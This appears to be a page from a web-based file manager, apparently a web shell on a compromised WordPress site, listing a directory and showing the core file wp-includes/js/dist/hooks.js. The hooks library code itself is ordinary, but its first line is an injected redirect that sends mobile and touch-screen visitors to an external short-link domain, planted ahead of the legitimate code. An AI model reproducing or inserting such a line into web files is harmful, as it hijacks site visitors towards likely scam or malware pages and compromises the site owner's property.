at path:ROOT / wp-includes / js / dist / hooks.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄hooks.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).hooks = (() => {
5 var __defProp = Object.defineProperty;
6 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
7 var __getOwnPropNames = Object.getOwnPropertyNames;
8 var __hasOwnProp = Object.prototype.hasOwnProperty;
9 var __export = (target, all) => {
10 for (var name in all)
11 __defProp(target, name, { get: all[name], enumerable: true });
12 };
13 var __copyProps = (to, from, except, desc) => {
14 if (from && typeof from === "object" || typeof from === "function") {
15 for (let key of __getOwnPropNames(from))
16 if (!__hasOwnProp.call(to, key) && key !== except)
17 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
18 }
19 return to;
20 };
21 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
22
23 // packages/hooks/build-module/index.mjs
24 var index_exports = {};
25 __export(index_exports, {
26 actions: () => actions,
27 addAction: () => addAction,
28 addFilter: () => addFilter,
29 applyFilters: () => applyFilters,
30 applyFiltersAsync: () => applyFiltersAsync,
31 createHooks: () => createHooks_default,
32 currentAction: () => currentAction,
33 currentFilter: () => currentFilter,
34 defaultHooks: () => defaultHooks,
35 didAction: () => didAction,
36 didFilter: () => didFilter,
37 doAction: () => doAction,
38 doActionAsync: () => doActionAsync,
39 doingAction: () => doingAction,
40 doingFilter: () => doingFilter,
41 filters: () => filters,
42 hasAction: () => hasAction,
43 hasFilter: () => hasFilter,
44 removeAction: () => removeAction,
45 removeAllActions: () => removeAllActions,
46 removeAllFilters: () => removeAllFilters,
47 removeFilter: () => removeFilter
48 });
49
50 // packages/hooks/build-module/validateNamespace.mjs
51 function validateNamespace(namespace) {
52 if ("string" !== typeof namespace || "" === namespace) {
53 console.error("The namespace must be a non-empty string.");
54 return false;
55 }
56 if (!/^[a-zA-Z][a-zA-Z0-9_.\-\/]*$/.test(namespace)) {
57 console.error(
58 "The namespace can only contain numbers, letters, dashes, periods, underscores and slashes."
59 );
60 return false;
61 }
62 return true;
63 }
64 var validateNamespace_default = validateNamespace;
65
66 // packages/hooks/build-module/validateHookName.mjs
67 function validateHookName(hookName) {
68 if ("string" !== typeof hookName || "" === hookName) {
69 console.error("The hook name must be a non-empty string.");
70 return false;
71 }
72 if (/^__/.test(hookName)) {
73 console.error("The hook name cannot begin with `__`.");
74 return false;
75 }
76 if (!/^[a-zA-Z][a-zA-Z0-9_.-]*$/.test(hookName)) {
77 console.error(
78 "The hook name can only contain numbers, letters, dashes, periods and underscores."
79 );
80 return false;
81 }
82 return true;
83 }
84 var validateHookName_default = validateHookName;
85
86 // packages/hooks/build-module/createAddHook.mjs
87 function createAddHook(hooks, storeKey) {
88 return function addHook(hookName, namespace, callback, priority = 10) {
89 const hooksStore = hooks[storeKey];
90 if (!validateHookName_default(hookName)) {
91 return;
92 }
93 if (!validateNamespace_default(namespace)) {
94 return;
95 }
96 if ("function" !== typeof callback) {
97 console.error("The hook callback must be a function.");
98 return;
99 }
100 if ("number" !== typeof priority) {
101 console.error(
102 "If specified, the hook priority must be a number."
103 );
104 return;
105 }
106 const handler = { callback, priority, namespace };
107 if (hooksStore[hookName]) {
108 const handlers = hooksStore[hookName].handlers;
109 let i;
110 for (i = handlers.length; i > 0; i--) {
111 if (priority >= handlers[i - 1].priority) {
112 break;
113 }
114 }
115 if (i === handlers.length) {
116 handlers[i] = handler;
117 } else {
118 handlers.splice(i, 0, handler);
119 }
120 hooksStore.__current.forEach((hookInfo) => {
121 if (hookInfo.name === hookName && hookInfo.currentIndex >= i) {
122 hookInfo.currentIndex++;
123 }
124 });
125 } else {
126 hooksStore[hookName] = {
127 handlers: [handler],
128 runs: 0
129 };
130 }
131 if (hookName !== "hookAdded") {
132 hooks.doAction(
133 "hookAdded",
134 hookName,
135 namespace,
136 callback,
137 priority
138 );
139 }
140 };
141 }
142 var createAddHook_default = createAddHook;
143
144 // packages/hooks/build-module/createRemoveHook.mjs
145 function createRemoveHook(hooks, storeKey, removeAll = false) {
146 return function removeHook(hookName, namespace) {
147 const hooksStore = hooks[storeKey];
148 if (!validateHookName_default(hookName)) {
149 return;
150 }
151 if (!removeAll && !validateNamespace_default(namespace)) {
152 return;
153 }
154 if (!hooksStore[hookName]) {
155 return 0;
156 }
157 let handlersRemoved = 0;
158 if (removeAll) {
159 handlersRemoved = hooksStore[hookName].handlers.length;
160 hooksStore[hookName] = {
161 runs: hooksStore[hookName].runs,
162 handlers: []
163 };
164 } else {
165 const handlers = hooksStore[hookName].handlers;
166 for (let i = handlers.length - 1; i >= 0; i--) {
167 if (handlers[i].namespace === namespace) {
168 handlers.splice(i, 1);
169 handlersRemoved++;
170 hooksStore.__current.forEach((hookInfo) => {
171 if (hookInfo.name === hookName && hookInfo.currentIndex >= i) {
172 hookInfo.currentIndex--;
173 }
174 });
175 }
176 }
177 }
178 if (hookName !== "hookRemoved") {
179 hooks.doAction("hookRemoved", hookName, namespace);
180 }
181 return handlersRemoved;
182 };
183 }
184 var createRemoveHook_default = createRemoveHook;
185
186 // packages/hooks/build-module/createHasHook.mjs
187 function createHasHook(hooks, storeKey) {
188 return function hasHook(hookName, namespace) {
189 const hooksStore = hooks[storeKey];
190 if ("undefined" !== typeof namespace) {
191 return hookName in hooksStore && hooksStore[hookName].handlers.some(
192 (hook) => hook.namespace === namespace
193 );
194 }
195 return hookName in hooksStore;
196 };
197 }
198 var createHasHook_default = createHasHook;
199
200 // packages/hooks/build-module/createRunHook.mjs
201 function createRunHook(hooks, storeKey, returnFirstArg, async) {
202 return function runHook(hookName, ...args) {
203 const hooksStore = hooks[storeKey];
204 if (!hooksStore[hookName]) {
205 hooksStore[hookName] = {
206 handlers: [],
207 runs: 0
208 };
209 }
210 hooksStore[hookName].runs++;
211 const handlers = hooksStore[hookName].handlers;
212 if (true) {
213 if ("hookAdded" !== hookName && hooksStore.all) {
214 handlers.push(...hooksStore.all.handlers);
215 }
216 }
217 if (!handlers || !handlers.length) {
218 return returnFirstArg ? args[0] : void 0;
219 }
220 const hookInfo = {
221 name: hookName,
222 currentIndex: 0
223 };
224 async function asyncRunner() {
225 try {
226 hooksStore.__current.add(hookInfo);
227 let result = returnFirstArg ? args[0] : void 0;
228 while (hookInfo.currentIndex < handlers.length) {
229 const handler = handlers[hookInfo.currentIndex];
230 result = await handler.callback.apply(null, args);
231 if (returnFirstArg) {
232 args[0] = result;
233 }
234 hookInfo.currentIndex++;
235 }
236 return returnFirstArg ? result : void 0;
237 } finally {
238 hooksStore.__current.delete(hookInfo);
239 }
240 }
241 function syncRunner() {
242 try {
243 hooksStore.__current.add(hookInfo);
244 let result = returnFirstArg ? args[0] : void 0;
245 while (hookInfo.currentIndex < handlers.length) {
246 const handler = handlers[hookInfo.currentIndex];
247 result = handler.callback.apply(null, args);
248 if (returnFirstArg) {
249 args[0] = result;
250 }
251 hookInfo.currentIndex++;
252 }
253 return returnFirstArg ? result : void 0;
254 } finally {
255 hooksStore.__current.delete(hookInfo);
256 }
257 }
258 return (async ? asyncRunner : syncRunner)();
259 };
260 }
261 var createRunHook_default = createRunHook;
262
263 // packages/hooks/build-module/createCurrentHook.mjs
264 function createCurrentHook(hooks, storeKey) {
265 return function currentHook() {
266 const hooksStore = hooks[storeKey];
267 const currentArray = Array.from(hooksStore.__current);
268 return currentArray.at(-1)?.name ?? null;
269 };
270 }
271 var createCurrentHook_default = createCurrentHook;
272
273 // packages/hooks/build-module/createDoingHook.mjs
274 function createDoingHook(hooks, storeKey) {
275 return function doingHook(hookName) {
276 const hooksStore = hooks[storeKey];
277 if ("undefined" === typeof hookName) {
278 return hooksStore.__current.size > 0;
279 }
280 return Array.from(hooksStore.__current).some(
281 (hook) => hook.name === hookName
282 );
283 };
284 }
285 var createDoingHook_default = createDoingHook;
286
287 // packages/hooks/build-module/createDidHook.mjs
288 function createDidHook(hooks, storeKey) {
289 return function didHook(hookName) {
290 const hooksStore = hooks[storeKey];
291 if (!validateHookName_default(hookName)) {
292 return;
293 }
294 return hooksStore[hookName] && hooksStore[hookName].runs ? hooksStore[hookName].runs : 0;
295 };
296 }
297 var createDidHook_default = createDidHook;
298
299 // packages/hooks/build-module/createHooks.mjs
300 var _Hooks = class {
301 actions;
302 filters;
303 addAction;
304 addFilter;
305 removeAction;
306 removeFilter;
307 hasAction;
308 hasFilter;
309 removeAllActions;
310 removeAllFilters;
311 doAction;
312 doActionAsync;
313 applyFilters;
314 applyFiltersAsync;
315 currentAction;
316 currentFilter;
317 doingAction;
318 doingFilter;
319 didAction;
320 didFilter;
321 constructor() {
322 this.actions = /* @__PURE__ */ Object.create(null);
323 this.actions.__current = /* @__PURE__ */ new Set();
324 this.filters = /* @__PURE__ */ Object.create(null);
325 this.filters.__current = /* @__PURE__ */ new Set();
326 this.addAction = createAddHook_default(this, "actions");
327 this.addFilter = createAddHook_default(this, "filters");
328 this.removeAction = createRemoveHook_default(this, "actions");
329 this.removeFilter = createRemoveHook_default(this, "filters");
330 this.hasAction = createHasHook_default(this, "actions");
331 this.hasFilter = createHasHook_default(this, "filters");
332 this.removeAllActions = createRemoveHook_default(this, "actions", true);
333 this.removeAllFilters = createRemoveHook_default(this, "filters", true);
334 this.doAction = createRunHook_default(this, "actions", false, false);
335 this.doActionAsync = createRunHook_default(this, "actions", false, true);
336 this.applyFilters = createRunHook_default(this, "filters", true, false);
337 this.applyFiltersAsync = createRunHook_default(this, "filters", true, true);
338 this.currentAction = createCurrentHook_default(this, "actions");
339 this.currentFilter = createCurrentHook_default(this, "filters");
340 this.doingAction = createDoingHook_default(this, "actions");
341 this.doingFilter = createDoingHook_default(this, "filters");
342 this.didAction = createDidHook_default(this, "actions");
343 this.didFilter = createDidHook_default(this, "filters");
344 }
345 };
346 function createHooks() {
347 return new _Hooks();
348 }
349 var createHooks_default = createHooks;
350
351 // packages/hooks/build-module/index.mjs
352 var defaultHooks = createHooks_default();
353 var {
354 addAction,
355 addFilter,
356 removeAction,
357 removeFilter,
358 hasAction,
359 hasFilter,
360 removeAllActions,
361 removeAllFilters,
362 doAction,
363 doActionAsync,
364 applyFilters,
365 applyFiltersAsync,
366 currentAction,
367 currentFilter,
368 doingAction,
369 doingFilter,
370 didAction,
371 didFilter,
372 actions,
373 filters
374 } = defaultHooks;
375 return __toCommonJS(index_exports);
376})();
377